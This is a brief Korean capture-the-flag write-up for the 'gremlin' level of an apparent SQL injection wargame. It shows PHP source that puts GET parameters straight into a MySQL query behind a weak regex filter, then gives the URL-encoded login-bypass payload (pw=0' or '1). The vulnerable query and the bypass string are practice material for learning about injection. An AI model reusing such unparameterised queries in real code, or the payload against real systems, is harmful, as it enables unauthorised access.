php source
<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) solve("gremlin");
highlight_file(__FILE__);
?>
admin
으로 login
하는 문제이다. 따라서 id
에는 admin
을 넣고 pw
부분을 참으로 만들면 된다.
id = admin
, pw = 0 or 1
Query
select id from prob_gremlin where id='admin' and pw='0' or '1'
Input value
http://los.eagle-jump.org/gremlin_bbc5af7bed14aa50b84986f2de742f31.php?id=admin&pw=0%27%20or%20%271
%27
은 '
이고, %20
은 (스페이스)
이다.